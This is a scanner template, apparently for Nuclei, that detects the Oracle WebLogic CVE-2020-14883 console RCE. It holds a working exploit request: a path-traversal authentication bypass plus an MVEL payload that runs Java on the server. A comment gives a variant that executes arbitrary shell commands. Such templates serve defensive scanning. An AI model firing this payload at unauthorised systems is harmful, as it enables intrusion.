63 lines
3.4 KiB
YAML
63 lines
3.4 KiB
YAML
id: CVE-2020-14883
|
|
|
|
info:
|
|
name: Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution
|
|
author: pdteam,vicrack
|
|
severity: high
|
|
description: |
|
|
The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server.
|
|
remediation: |
|
|
Apply the necessary patches or updates provided by Oracle to mitigate this vulnerability.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883
|
|
- https://www.oracle.com/security-alerts/cpuoct2020.html
|
|
- http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.2
|
|
cve-id: CVE-2020-14883
|
|
epss-score: 0.9727
|
|
epss-percentile: 0.99817
|
|
cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: oracle
|
|
product: weblogic_server
|
|
shodan-query: title:"Oracle PeopleSoft Sign-in"
|
|
tags: oracle,rce,weblogic,kev,packetstorm,cve,cve2020
|
|
variables:
|
|
str: "{{randstr}}"
|
|
revstr: "{{reverse(str)}}"
|
|
|
|
http:
|
|
- raw:
|
|
# CMD: String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next();
|
|
- |
|
|
POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept-Language: en
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Accept-Encoding: gzip, deflate
|
|
|
|
test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String result = new StringBuilder("{{str}}").reverse().toString(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush(); currentThread.interrupt();')
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "ADMINCONSOLESESSION"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "{{revstr}}"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a00483046022100e4324c7c87b6b30f54e2b2eb1db5e01747e3d838e7bd503a9a7cc2a87f4c37d3022100bd5cbc98c3c65626e0d6e26819d73e40c0b96bc39a79ef720bfafe16b82f9649:922c64590222798bb761d5b6d8e72950
|